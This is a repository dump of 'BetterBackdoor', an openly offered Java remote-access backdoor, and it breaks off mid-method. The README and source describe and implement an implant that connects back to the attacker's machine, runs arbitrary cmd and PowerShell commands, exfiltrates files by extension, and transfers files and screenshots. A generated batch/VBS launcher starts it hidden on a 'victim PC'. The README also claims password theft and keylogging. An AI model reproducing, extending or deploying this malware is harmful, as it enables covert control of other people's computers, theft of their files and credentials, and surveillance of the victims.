├── .gitignore ├── .mvn └── wrapper │ ├── maven-wrapper.jar │ ├── maven-wrapper.properties │ └── MavenWrapperDownloader.java ├── .project ├── LICENSE ├── src └── main │ └── java │ └── com │ └── github │ └── thatcherdev │ └── betterbackdoor │ ├── shell │ ├── Shell.java │ └── HandleCommand.java │ ├── backdoor │ ├── Backdoor.java │ └── HandleCommand.java │ ├── backend │ ├── Utils.java │ ├── FTP.java │ ├── KeyLogger.java │ └── DuckyScripts.java │ ├── Setup.java │ └── BetterBackdoor.java ├── .classpath ├── pom.xml ├── README.md ├── mvnw.cmd └── mvnw /.gitignore: -------------------------------------------------------------------------------- 1 | /target/ 2 | /.settings/ 3 | /.vscode/ 4 | /jre/ 5 | /backdoor/ 6 | .DS_Store 7 | /*.jar 8 | -------------------------------------------------------------------------------- /.mvn/wrapper/maven-wrapper.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Agent00049/BetterBackdoor/master/.mvn/wrapper/maven-wrapper.jar -------------------------------------------------------------------------------- /.mvn/wrapper/maven-wrapper.properties: -------------------------------------------------------------------------------- 1 | distributionUrl=https://repo.maven.apache.org/maven2/org/apache/maven/apache-maven/3.6.0/apache-maven-3.6.0-bin.zip 2 | -------------------------------------------------------------------------------- /.project: -------------------------------------------------------------------------------- 1 | 2 | 3 | BetterBackdoor 4 | 5 | 6 | 7 | 8 | org.eclipse.jdt.core.javabuilder 9 | 10 | 11 | 12 | org.eclipse.m2e.core.maven2Builder 13 | 14 | 15 | 16 | 17 | org.eclipse.m2e.core.maven2Nature 18 | org.eclipse.jdt.core.javanature 19 | 20 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2019 ThatcherDev 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /src/main/java/com/github/thatcherdev/betterbackdoor/shell/Shell.java: -------------------------------------------------------------------------------- 1 | package com.github.thatcherdev.betterbackdoor.shell; 2 | 3 | import com.github.thatcherdev.betterbackdoor.BetterBackdoor; 4 | import java.io.PrintWriter; 5 | import java.net.ServerSocket; 6 | import java.net.Socket; 7 | import java.util.Scanner; 8 | 9 | public class Shell { 10 | 11 | private static ServerSocket serverSocket; 12 | private static Socket socket; 13 | public static Scanner in; 14 | public static PrintWriter out; 15 | 16 | /** 17 | * Starts shell to control backdoor. 18 | *

19 | * Creates server on port 1025 for client to connect to. Once client has 20 | * connected, starts an infinite loop that gets command {@link command} from 21 | * user and handles it with {@link HandleCommand#handle(command)}. 22 | */ 23 | public static void start() { 24 | System.out.println("Connecting...\n"); 25 | try { 26 | serverSocket = new ServerSocket(1025); 27 | socket = serverSocket.accept(); 28 | in = new Scanner(socket.getInputStream()); 29 | out = new PrintWriter(socket.getOutputStream(), true); 30 | System.out.println("Connection has been established"); 31 | System.out.println("Enter 'help' for a list of available commands"); 32 | while (true) 33 | HandleCommand.handle(BetterBackdoor.getInput("")); 34 | } catch (Exception e) { 35 | if (e.getMessage().equals("String index out of range: -1") 36 | || e.getMessage().equals("begin 0, end -1, length 0")) 37 | BetterBackdoor.error("The victim's computer has disconnected"); 38 | else 39 | BetterBackdoor.error(e.getMessage()); 40 | } finally { 41 | try { 42 | if (socket != null) 43 | socket.close(); 44 | if (in != null) 45 | in.close(); 46 | if (out != null) 47 | out.close(); 48 | } catch (Exception e) { 49 | } 50 | } 51 | } 52 | } -------------------------------------------------------------------------------- /.classpath: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | -------------------------------------------------------------------------------- /pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4.0.0 4 | 5 | org.springframework.boot 6 | spring-boot-starter-parent 7 | 2.1.8.RELEASE 8 | 9 | 10 | com.github.thatcherdev 11 | BetterBackdoor 12 | 0.0.1-SNAPSHOT 13 | BetterBackdoor 14 | A backdoor with a multitude of features. 15 | 16 | 17 | 1.8 18 | 19 | 20 | 21 | 22 | org.springframework.boot 23 | spring-boot-starter 24 | 25 | 26 | 27 | org.springframework.boot 28 | spring-boot-starter-test 29 | test 30 | 31 | 32 | 33 | commons-io 34 | commons-io 35 | 2.5 36 | 37 | 38 | 39 | com.1stleg 40 | jnativehook 41 | 2.0.2 42 | 43 | 44 | 45 | 46 | 47 | 48 | org.springframework.boot 49 | spring-boot-maven-plugin 50 | 51 | 52 | betterbackdoor 53 | package 54 | 55 | betterbackdoor 56 | com.github.thatcherdev.betterbackdoor.BetterBackdoor 57 | ${project.basedir} 58 | 59 | 60 | repackage 61 | 62 | 63 | 64 | 65 | backdoor 66 | package 67 | 68 | run 69 | com.github.thatcherdev.betterbackdoor.backdoor.Backdoor 70 | 71 | 72 | repackage 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | -------------------------------------------------------------------------------- /src/main/java/com/github/thatcherdev/betterbackdoor/backdoor/Backdoor.java: -------------------------------------------------------------------------------- 1 | package com.github.thatcherdev.betterbackdoor.backdoor; 2 | 3 | import java.io.File; 4 | import java.io.PrintWriter; 5 | import java.net.Socket; 6 | import java.util.Scanner; 7 | 8 | public class Backdoor { 9 | 10 | public static String ip; 11 | private static Socket socket; 12 | private static Scanner in; 13 | public static PrintWriter out; 14 | 15 | /** 16 | * Constructs and starts a new Backdoor. 17 | * 18 | * @param args command line arguments 19 | */ 20 | public static void main(String[] args) { 21 | Backdoor backdoor = new Backdoor(); 22 | backdoor.start(); 23 | } 24 | 25 | /** 26 | * Constructs a new Backdoor. 27 | *

28 | * Uses {@link #readFromJar(String)} to get the contents of "ip", a text file 29 | * inside the jar file this class will be running from. This file contains the 30 | * IPv4 address of the server to be used to control the backdoor. Sets 31 | * {@link #ip} to this address. Creates directory "gathered". 32 | */ 33 | private Backdoor() { 34 | try { 35 | ip = readFromJar("/ip"); 36 | new File("gathered").mkdir(); 37 | } catch (Exception e) { 38 | System.exit(0); 39 | } 40 | } 41 | 42 | /** 43 | * Starts backdoor. 44 | *

45 | * Attempts to connect to the server with the ip address {@link #ip} on port 46 | * 1025. Once connected, starts a loop that continuously gets commands from the 47 | * server and handles commands with 48 | * {@link HandleCommand#handle(String command)}. 49 | */ 50 | private void start() { 51 | try { 52 | while (true) 53 | try { 54 | socket = new Socket(ip, 1025); 55 | break; 56 | } catch (Exception e) { 57 | Thread.sleep(3000); 58 | continue; 59 | } 60 | in = new Scanner(socket.getInputStream()); 61 | out = new PrintWriter(socket.getOutputStream(), true); 62 | while (true) { 63 | String command = in.nextLine(); 64 | HandleCommand.handle(command); 65 | } 66 | } catch (Exception e) { 67 | try { 68 | if (socket != null) 69 | socket.close(); 70 | if (in != null) 71 | in.close(); 72 | if (out != null) 73 | out.close(); 74 | start(); 75 | } catch (Exception e1) { 76 | System.exit(0); 77 | } 78 | } 79 | } 80 | 81 | /** 82 | * Gets the contents of the file with the name {@link filename} from inside the 83 | * jar file this class will be running from. 84 | * 85 | * @param filename name of the file to get contents of 86 | * @return contents of the file 87 | */ 88 | private String readFromJar(String filename) { 89 | String ret = null; 90 | Scanner in = new Scanner(getClass().getResourceAsStream(filename)); 91 | ret = in.nextLine(); 92 | in.close(); 93 | return ret; 94 | } 95 | } -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # BetterBackdoor 2 | A backdoor is a tool used to gain remote access to a machine. 3 | 4 | Typically, backdoor utilities such as NetCat have 2 main functions: to pipe remote input into cmd or bash and output the response. 5 | This is useful, but it is also limited. 6 | BetterBackdoor overcomes these limitations by including the ability to inject keystrokes, get screenshots, transfer files, and many other tasks. 7 | 8 | ## Features 9 | BetterBackdoor can create and control a backdoor. 10 | 11 | This created backdoor can: 12 | - Run Command Prompt commands 13 | - Run PowerShell scripts 14 | - Run DuckyScripts to inject keystrokes 15 | - Exfiltrate files based on extension 16 | - Exfiltrate Microsoft Edge and WiFi passwords 17 | - Send and receive files to and from victim's computer 18 | - Start a KeyLogger 19 | - Get a screenshot of victim's computer 20 | - Get text copied to victim's clipboard 21 | - Get contents from a victim's file (cat) 22 | 23 | This backdoor uses a client and server socket connection to communicate. 24 | The attacker starts a server and the victim connects to this server as a client. 25 | Once a connection is established, commands can be sent to the client in order to control the backdoor. 26 | 27 | To create the backdoor, BetterBackdoor: 28 | - Creates 'run.jar', the backdoor jar file, and copied it to directory 'backdoor'. 29 | - Appends a text file containing the server's IPv4 address to 'run.jar'. 30 | - If desired, copies a Java Runtime Environment to 'backdoor' and creates batch file 'run.bat' for running the backdoor in the packaged Java Runtime Environment. 31 | 32 | To start the backdoor on a victim PC, transfer all files from the directory 'backdoor' onto a victim PC. 33 | 34 | If a JRE is packaged with the backdoor, execute run.bat, otherwise execute run.jar. 35 | 36 | This will start the backdoor on the victim's PC. 37 | 38 | Once running, to control the backdoor you must return to BetterBackdoor and run option 1 at start while connected to the same WiFi network as the victim's computer. 39 | 40 | ## Demo 41 | 42 | 43 | ## Requirements 44 | - A Java JDK distribution >=8 must be installed and added to PATH. 45 | - You must use the same computer to create and control the backdoor. 46 | - The computer used to create the backdoor must be on the same WiFi network as the victim's computer. 47 | - The IPv4 address of this computer must remain static in the time between creating the backdoor and controlling it. 48 | - The computer used to control the backdoor must have their firewall deactivated, and if the computer has a Unix OS, must run BetterBackdoor as 'sudo'. 49 | 50 | ## Compatibility 51 | BetterBackdoor is compatible with Windows, Mac, and Linux, while the backdoor is only compatible with Windows. 52 | 53 | ## Installation 54 | ``` 55 | # clone BetterBackdoor 56 | git clone https://github.com/ThatcherDev/BetterBackdoor.git 57 | 58 | # change the working directory to BetterBackdoor 59 | cd BetterBackdoor 60 | 61 | # build BetterBackdoor with Maven 62 | # for Windows run 63 | mvnw.cmd clean package 64 | 65 | # for Linux run 66 | chmod +x mvnw 67 | ./mvnw clean package 68 | 69 | # for Mac run 70 | sh mvnw clean package 71 | ``` 72 | 73 | ## Usage 74 | ``` 75 | java -jar betterbackdoor.jar 76 | ``` 77 | 78 | ## License 79 | - [MIT](https://choosealicense.com/licenses/mit/) 80 | - Copyright 2019 ©️ ThatcherDev. 81 | -------------------------------------------------------------------------------- /src/main/java/com/github/thatcherdev/betterbackdoor/backend/Utils.java: -------------------------------------------------------------------------------- 1 | package com.github.thatcherdev.betterbackdoor.backend; 2 | 3 | import java.io.BufferedReader; 4 | import java.io.File; 5 | import java.io.IOException; 6 | import java.io.InputStreamReader; 7 | import java.net.Inet4Address; 8 | import java.net.Inet6Address; 9 | import java.net.InetAddress; 10 | import java.net.NetworkInterface; 11 | import java.net.SocketException; 12 | import java.util.ArrayList; 13 | import java.util.Arrays; 14 | import java.util.Enumeration; 15 | import org.apache.commons.io.FileUtils; 16 | 17 | public class Utils { 18 | 19 | /** 20 | * Runs command {@link command} in the current machine's command prompt and 21 | * returns response. 22 | * 23 | * @param command command to run 24 | * @return response from running command 25 | */ 26 | public static String runCommand(String command) { 27 | String resp = ""; 28 | BufferedReader bufferedReader = null; 29 | try { 30 | ProcessBuilder builder = new ProcessBuilder("cmd.exe", "/c", command); 31 | builder.redirectErrorStream(true); 32 | bufferedReader = new BufferedReader(new InputStreamReader(builder.start().getInputStream())); 33 | while (true) { 34 | String line = bufferedReader.readLine(); 35 | if (line == null) { 36 | while (resp.endsWith("\n")) 37 | resp = resp.substring(0, resp.length() - 1); 38 | break; 39 | } 40 | resp += line + "\n"; 41 | } 42 | if (resp.isEmpty()) 43 | return "Command did not produce a response"; 44 | else 45 | return resp; 46 | } catch (Exception e) { 47 | resp = "An error occurred when trying to run command"; 48 | if (e.getMessage() != null) 49 | resp += ":\n" + e.getMessage(); 50 | return resp; 51 | } finally { 52 | try { 53 | if (bufferedReader != null) 54 | bufferedReader.close(); 55 | } catch (Exception e) { 56 | } 57 | } 58 | } 59 | 60 | /** 61 | * Uses {@link #runCommand(String)} to run the PowerShell script with the name 62 | * {@link filename}. 63 | * 64 | * @param filename name of script to run 65 | * @return response from running script 66 | */ 67 | public static String runPSScript(String filename) { 68 | return runCommand("Powershell.exe -executionpolicy remotesigned -File " + filename); 69 | } 70 | 71 | /** 72 | * Copies all files that have extensions in {@link exts} from {@link root} to 73 | * 'gathered\ExfiltratedFiles'. 74 | * 75 | * @param root directory to copy files from 76 | * @param exts list of extensions of files to copy 77 | * @throws IOException 78 | */ 79 | public static void exfilFiles(String root, ArrayList exts) throws IOException { 80 | new File("gathered\\ExfiltratedFiles").mkdir(); 81 | for (String ext : exts) 82 | for (String file : new ArrayList( 83 | Arrays.asList(Utils.runCommand("c: && cd " + root + " && dir/b/s/a:-d *." + ext).split("\n")))) 84 | if (!file.equals("File Not Found")) 85 | FileUtils.copyFile(new File(file), 86 | new File("gathered\\ExfiltratedFiles\\" + file.substring(file.lastIndexOf("\\") + 1))); 87 | } 88 | 89 | /** 90 | * Gets the IPv4 address of the current machine. 91 | * 92 | * @return IPv4 address of the current machine 93 | * @throws SocketException 94 | */ 95 | public static String getIP() throws SocketException { 96 | Enumeration majorInterfaces = NetworkInterface.getNetworkInterfaces(); 97 | while (majorInterfaces.hasMoreElements()) { 98 | NetworkInterface inter = (NetworkInterface) majorInterfaces.nextElement(); 99 | for (Enumeration minorInterfaces = inter.getInetAddresses(); minorInterfaces 100 | .hasMoreElements();) { 101 | InetAddress add = (InetAddress) minorInterfaces.nextElement(); 102 | if (!add.isLoopbackAddress()) 103 | if (add instanceof Inet4Address) 104 | return add.getHostAddress(); 105 | else if (add instanceof Inet6Address) 106 | continue; 107 | } 108 | } 109 | return null; 110 | } 111 | } -------------------------------------------------------------------------------- /src/main/java/com/github/thatcherdev/betterbackdoor/Setup.java: -------------------------------------------------------------------------------- 1 | package com.github.thatcherdev.betterbackdoor; 2 | 3 | import java.io.File; 4 | import java.io.FileNotFoundException; 5 | import java.io.IOException; 6 | import java.io.PrintWriter; 7 | import java.io.Writer; 8 | import java.net.URI; 9 | import java.nio.charset.StandardCharsets; 10 | import java.nio.file.FileSystem; 11 | import java.nio.file.FileSystems; 12 | import java.nio.file.Files; 13 | import java.nio.file.Paths; 14 | import java.nio.file.StandardOpenOption; 15 | import java.util.HashMap; 16 | import java.util.Map; 17 | import org.apache.commons.io.FileUtils; 18 | import com.github.thatcherdev.betterbackdoor.backend.Utils; 19 | 20 | public class Setup { 21 | 22 | /** 23 | * Sets up backdoor. 24 | *

25 | * If {@link packageJre} is true, copies the current machines JRE to directory 26 | * 'backdoor' and {@link #createBat(String, String, String)} is used to create a 27 | * '.bat' file for running the backdoor in the JRE. If {@link packageJre} is 28 | * false but directory 'jre' containing a Windows JRE distribution exists, 'jre' 29 | * is copied to 'backdoor' and {@link #createBat(String, String, String)} is 30 | * used to create a '.bat' file for running the backdoor in the JRE. 'run.jar' 31 | * is copied from 'target' to 'backdoor' and 'ip', a text file containing the 32 | * current machine's IPv4 address, is appended into it using 33 | * {@link #appendJar(String, String, String)}. 34 | * 35 | * @param packageJre if a JRE should be packaged with backdoor 36 | * @throws IOException 37 | */ 38 | public static void create(boolean packageJre) throws IOException { 39 | if (packageJre) { 40 | String jrePath = System.getProperty("java.home"); 41 | FileUtils.copyDirectory(new File(jrePath + File.separator + "bin"), 42 | new File("backdoor" + File.separator + "jre" + File.separator + "bin")); 43 | FileUtils.copyDirectory(new File(jrePath + File.separator + "lib"), 44 | new File("backdoor" + File.separator + "jre" + File.separator + "lib")); 45 | createBat("backdoor" + File.separator + "run.bat"); 46 | } else if (new File("jre").isDirectory()) { 47 | FileUtils.copyDirectory(new File("jre"), new File("backdoor" + File.separator + "jre")); 48 | createBat("backdoor" + File.separator + "run.bat"); 49 | } 50 | FileUtils.copyFile(new File("target" + File.separator + "run.jar"), 51 | new File("backdoor" + File.separator + "run.jar")); 52 | appendJar("backdoor" + File.separator + "run.jar", "ip", Utils.getIP()); 53 | } 54 | 55 | /** 56 | * Creates a '.bat' batch file for running a jar file in a Java Runtime 57 | * Environment. 58 | * 59 | * @param filePath path of '.bat' batch file to create 60 | * @throws FileNotFoundException 61 | */ 62 | private static void createBat(String filePath) throws FileNotFoundException { 63 | PrintWriter out = new PrintWriter(new File(filePath)); 64 | out.println( 65 | "@echo off\n%~d0 & cd %~dp0\necho Set objShell = WScript.CreateObject(\"WScript.Shell\")>run.vbs\necho objShell.Run \"cmd /c " 66 | + "jre\\bin\\java -jar run.jar\", ^0, True>>run.vbs\nstart run.vbs\ncall:delvbs\n:delvbs\nif exist run.vbs (\n timeout 3 > nul\n del run.vbs\n @exit\n" 67 | + ") else (\ncall:delvbs\n)\ngoto:eof"); 68 | out.flush(); 69 | out.close(); 70 | } 71 | 72 | /** 73 | * Appends a new file with name {@link filename} and contents 74 | * {@link fileContents} into existing jar file with name {@link jarFile}. 75 | * 76 | * @param jarFile name of jar file to append 77 | * @param filename name of new file to append in jar 78 | * @param fileContents contents of new file to append in jar 79 | * @throws IOException 80 | */ 81 | private static void appendJar(String jarFile, String filename, String fileContents) throws IOException { 82 | Map env = new HashMap<>(); 83 | env.put("create", "true"); 84 | try (FileSystem fileSystem = FileSystems.newFileSystem(URI.create("jar:" + Paths.get(jarFile).toUri()), env)) { 85 | try (Writer writer = Files.newBufferedWriter(fileSystem.getPath(filename), StandardCharsets.UTF_8, 86 | StandardOpenOption.CREATE)) { 87 | writer.write(fileContents); 88 | writer.close(); 89 | } 90 | } 91 | } 92 | } -------------------------------------------------------------------------------- /src/main/java/com/github/thatcherdev/betterbackdoor/shell/HandleCommand.java: -------------------------------------------------------------------------------- 1 | package com.github.thatcherdev.betterbackdoor.shell; 2 | 3 | import java.io.File; 4 | import java.io.IOException; 5 | import com.github.thatcherdev.betterbackdoor.BetterBackdoor; 6 | import com.github.thatcherdev.betterbackdoor.backend.FTP; 7 | 8 | public class HandleCommand { 9 | 10 | /** 11 | * Handles command {@link command} given by user. 12 | * 13 | * @param command command given by user 14 | * @throws IOException 15 | */ 16 | public static void handle(String command) throws IOException { 17 | if (command.equals("cmd")) { 18 | System.out.println( 19 | "Commands will now be executed through vitim's computer's Command Prompt\nEnter 'back' to go back"); 20 | while (true) { 21 | System.out.print("cmd"); 22 | String cmdCommand = BetterBackdoor.getInput(""); 23 | if (cmdCommand.equals("back")) 24 | break; 25 | Shell.out.println("cmd " + cmdCommand); 26 | System.out.println(getResp()); 27 | } 28 | } else if (command.equals("ps") || command.equals("ds")) { 29 | System.out.print("This will send a local "); 30 | if (command.equals("ps")) 31 | System.out.print("PowerShell script "); 32 | else 33 | System.out.print("DuckyScript"); 34 | System.out.println(" to the victims computer, execute it, and delete it."); 35 | System.out.println("Enter local filepath of script:"); 36 | File file = new File(BetterBackdoor.getInput("file")); 37 | System.out.println("Sending script..."); 38 | Shell.out.println("filesend " + file.getName()); 39 | FTP.shell(file.getAbsolutePath(), "send"); 40 | System.out.println(getResp()); 41 | System.out.println("Running script..."); 42 | Shell.out.println(command + " " + file.getName()); 43 | System.out.println(getResp()); 44 | } else if (command.equals("exfiles")) { 45 | System.out.println( 46 | "This will copy files with desired extensions from a folder and all it's subfolders to 'gathered\\ExfiltratedFiles' relative to the backdoor executable on the victim's computer"); 47 | System.out.println("Enter victim's directory to search through:"); 48 | String root = BetterBackdoor.getInput(""); 49 | System.out.println("Enter extensions of files separated by commas (i.e. txt,pdf,docx)"); 50 | String exts = BetterBackdoor.getInput(""); 51 | Shell.out.println("exfiles " + root + "*" + exts); 52 | System.out.println("Exfiltrating...\n"); 53 | System.out.println(getResp()); 54 | } else if (command.equals("filesend")) { 55 | System.out.println("Enter local filepath of file to send:"); 56 | String fileSend = BetterBackdoor.getInput("file"); 57 | System.out.println("Enter victim's filepath of file to receive:"); 58 | String fileRec = BetterBackdoor.getInput(""); 59 | Shell.out.println("filesend " + fileRec); 60 | FTP.shell(fileSend, "send"); 61 | System.out.println(getResp()); 62 | } else if (command.equals("filerec")) { 63 | System.out.println("Enter victim's filepath of file to send:"); 64 | String fileSend = BetterBackdoor.getInput(""); 65 | System.out.println("Enter local filepath of file to receive:"); 66 | String fileRec = BetterBackdoor.getInput(""); 67 | Shell.out.println("filerec " + fileSend); 68 | FTP.shell(fileRec, "rec"); 69 | System.out.println(getResp()); 70 | } else if (command.equals("ss")) { 71 | Shell.out.println("ss"); 72 | System.out.println("Receiving screenshot to '" + System.getProperty("user.dir") + File.separator 73 | + "screenshot.png'..."); 74 | FTP.shell("screenshot.png", "rec"); 75 | System.out.println(getResp()); 76 | } else if (command.equals("cat")) { 77 | System.out.println("Enter victim's filepath of file to get contents of:"); 78 | Shell.out.println("cat " + BetterBackdoor.getInput("")); 79 | System.out.println(getResp()); 80 | } else if (command.equals("exit")) 81 | System.exit(0); 82 | else { 83 | Shell.out.println(command); 84 | System.out.println(getResp()); 85 | } 86 | } 87 | 88 | /** 89 | * Gets response from client. 90 | * 91 | * @return response from client 92 | */ 93 | private static String getResp() { 94 | String resp = ""; 95 | while (Shell.in.hasNextLine()) { 96 | String line = Shell.in.nextLine(); 97 | if (line.equals("!$end$!")) 98 | break; 99 | resp += line + "\n"; 100 | } 101 | return resp.substring(0, resp.length() - 1); 102 | } 103 | } -------------------------------------------------------------------------------- /src/main/java/com/github/thatcherdev/betterbackdoor/backend/FTP.java: -------------------------------------------------------------------------------- 1 | package com.github.thatcherdev.betterbackdoor.backend; 2 | 3 | import java.io.File; 4 | import java.io.IOException; 5 | import java.io.RandomAccessFile; 6 | import java.net.InetSocketAddress; 7 | import java.net.SocketAddress; 8 | import java.nio.ByteBuffer; 9 | import java.nio.channels.FileChannel; 10 | import java.nio.channels.ServerSocketChannel; 11 | import java.nio.channels.SocketChannel; 12 | import java.nio.Buffer; 13 | 14 | public class FTP { 15 | 16 | /** 17 | * Transfers a file with client. 18 | *

19 | * Opens {@link java.nio.channels.ServerSocketChannel} 20 | * {@link serverSocketChannel} and {@link java.nio.channels.SocketChannel} 21 | * {@link socketChannel} for transferring a file with client. If 22 | * {@link protocol} is "send", uses {@link #send} to send file with path 23 | * {@link filePath} to client. If {@link protocol} is "rec", uses {@link #rec} 24 | * to receive file with path {@link filePath} from client. 25 | * 26 | * @param filePath path of file to transfer 27 | * @param protocol if file should be sent or received 28 | * @throws IOException 29 | */ 30 | public static void shell(String filePath, String protocol) throws IOException { 31 | ServerSocketChannel serverSocketChannel = ServerSocketChannel.open(); 32 | serverSocketChannel.socket().bind(new InetSocketAddress(1026)); 33 | SocketChannel socketChannel = serverSocketChannel.accept(); 34 | if (protocol.equals("send")) 35 | send(filePath, socketChannel); 36 | else if (protocol.equals("rec")) 37 | rec(filePath, socketChannel); 38 | serverSocketChannel.close(); 39 | socketChannel.close(); 40 | } 41 | 42 | /** 43 | * Transfers a file with server. 44 | *

45 | * Opens {@link java.nio.channels.SocketChannel} {@link socketChannel} for 46 | * transferring file with server with an IPv4 address of {@link ip}. If 47 | * {@link protocol} is "send", uses {@link #send} to send file with path 48 | * {@link filePath} to server. If {@link protocol} is "rec", uses {@link #rec} 49 | * to receive file with path {@link filePath} from server. 50 | * 51 | * @param filePath path of file to transfer 52 | * @param protocol if file should be sent or received 53 | * @param ip IPv4 address of server to transfer file with 54 | * @throws IOException 55 | */ 56 | public static void backdoor(String filePath, String protocol, String ip) throws IOException { 57 | SocketChannel socketChannel = SocketChannel.open(); 58 | SocketAddress socketAddress = new InetSocketAddress(ip, 1026); 59 | socketChannel.connect(socketAddress); 60 | if (protocol.equals("send")) 61 | send(filePath, socketChannel); 62 | else if (protocol.equals("rec")) 63 | rec(filePath, socketChannel); 64 | socketChannel.close(); 65 | } 66 | 67 | /** 68 | * Sends file with path {@link filePath} using {@link socketChannel} and 69 | * {@link fileChannel}. 70 | * 71 | * @param filePath path of file to send 72 | * @param socketChannel {@link java.nio.channels.SocketChannel} to use for 73 | * sending 74 | * @throws IOException 75 | */ 76 | private static void send(String filePath, SocketChannel socketChannel) throws IOException { 77 | RandomAccessFile file = new RandomAccessFile(new File(filePath), "r"); 78 | FileChannel fileChannel = file.getChannel(); 79 | ByteBuffer buffer = ByteBuffer.allocate(1024); 80 | while (fileChannel.read(buffer) > 0) { 81 | ((Buffer) buffer).flip(); 82 | socketChannel.write(buffer); 83 | ((Buffer) buffer).clear(); 84 | } 85 | file.close(); 86 | fileChannel.close(); 87 | } 88 | 89 | /** 90 | * Receives file with path {@link filePath} using {@link socketChannel} and 91 | * {@link fileChannel}. 92 | * 93 | * @param filePath path of file to receive 94 | * @param socketChannel {@link java.nio.channels.SocketChannel} to use for 95 | * receiving 96 | * @throws IOException 97 | */ 98 | private static void rec(String filePath, SocketChannel socketChannel) throws IOException { 99 | RandomAccessFile file = new RandomAccessFile(filePath, "rw"); 100 | FileChannel fileChannel = file.getChannel(); 101 | ByteBuffer buffer = ByteBuffer.allocate(1024); 102 | while (socketChannel.read(buffer) > 0) { 103 | ((Buffer) buffer).flip(); 104 | fileChannel.write(buffer); 105 | ((Buffer) buffer).clear(); 106 | } 107 | file.close(); 108 | fileChannel.close(); 109 | } 110 | } -------------------------------------------------------------------------------- /src/main/java/com/github/thatcherdev/betterbackdoor/BetterBackdoor.java: -------------------------------------------------------------------------------- 1 | package com.github.thatcherdev.betterbackdoor; 2 | 3 | import java.io.File; 4 | import java.nio.file.Paths; 5 | import java.util.Scanner; 6 | import com.github.thatcherdev.betterbackdoor.shell.Shell; 7 | import org.springframework.boot.autoconfigure.SpringBootApplication; 8 | 9 | @SpringBootApplication 10 | public class BetterBackdoor { 11 | 12 | public final static Scanner sc = new Scanner(System.in); 13 | public final static String os = System.getProperty("os.name"); 14 | 15 | /** 16 | * Starts BetterBackdoor. 17 | * 18 | * @param args command line arguments 19 | */ 20 | public static void main(String[] args) { 21 | System.out.println("_________ __ __ __________ __ .___\n" 22 | + "\\_____ \\ _____/ |__/ |_ __________\\______ \\______ ____ | | __ __| _/____ ___________ \n" 23 | + " | | _// __ \\ __\\ __\\/ __ \\_ __ \\ | _/\\__ \\ _/ ___\\| |/ // __ |/ _ \\ / _ \\_ __ \\\n" 24 | + " | | \\ ___/| | | | \\ ___/| | \\/ | \\ / __ \\\\ \\___| | <_> ) | \\/\n" 25 | + " |______ /\\___ >__| |__| \\___ >__| |______ /(____ /\\___ >__|_ \\____ |\\____/ \\____/|__|\n" 26 | + " \\/ \\/ \\/ \\/ \\/ \\/ \\/ \\/"); 27 | System.out.println("Welcome to BetterBackdoor\n"); 28 | System.out.println("Select:"); 29 | System.out.println("[0] Create backdoor"); 30 | System.out.println("[1] Open backdoor shell"); 31 | String choice = getInput("op01"); 32 | if (choice.equals("0")) { 33 | boolean jre = false; 34 | if (os.contains("Windows")) { 35 | System.out.println( 36 | "Would you like to package the Java Runtime Environment from your computer with the backdoor\nso it can be run on computers without Java installed?(y/n):"); 37 | jre = Boolean.parseBoolean(getInput("yn")); 38 | } else 39 | System.out.println( 40 | "If you would like to package a Java Runtime Environment with the backdoor so it can be run on computers without Java,\n" 41 | + "in the current working directory create folder 'jre' containing 'bin' and 'lib' directories from a Windows JRE distribution.\n"); 42 | System.out.println("Press ENTER to create backdoor..."); 43 | sc.nextLine(); 44 | System.out.println("Creating...\n"); 45 | try { 46 | Setup.create(jre); 47 | } catch (Exception e) { 48 | if (e.getMessage() == null) 49 | error("Could not create backdoor"); 50 | else 51 | error("Could not create backdoor:\n" + e.getMessage()); 52 | } 53 | System.out.println("Created!\n"); 54 | System.out.println( 55 | "To start the backdoor on a victim PC, transfer all files from the directory 'backdoor' onto a victim PC.\n" 56 | + "If a JRE is packaged with the backdoor, execute run.bat, otherwise execute run.jar.\n" 57 | + "This will start the backdoor on the victim's PC.\n" 58 | + "To control the backdoor, return to BetterBackdoor and run option 1 at start.\n"); 59 | System.out.println("Press ENTER to exit..."); 60 | sc.nextLine(); 61 | } else 62 | Shell.start(); 63 | } 64 | 65 | /** 66 | * Gets user input and verify it's validity with {@link type}. 67 | * 68 | * @param type type of input 69 | * @return user input 70 | */ 71 | public static String getInput(String type) { 72 | System.out.print(">"); 73 | String ret = sc.nextLine(); 74 | if (ret.isEmpty()) 75 | return getInput(type); 76 | else if (type.equals("file") && !new File(ret).exists()) { 77 | System.out.println("\nFile not found\nEnter a valid file path:"); 78 | getInput(type); 79 | } else if (type.equals("yn") && !(ret.equalsIgnoreCase("y") || ret.equalsIgnoreCase("n"))) { 80 | System.out.println("\nInvalid entry\nEnter 'y' or 'n':"); 81 | return getInput(type); 82 | } else if (type.startsWith("op") && (!type.substring(2).contains(ret) || !(ret.length() == 1))) 83 | return getInput(type); 84 | else 85 | 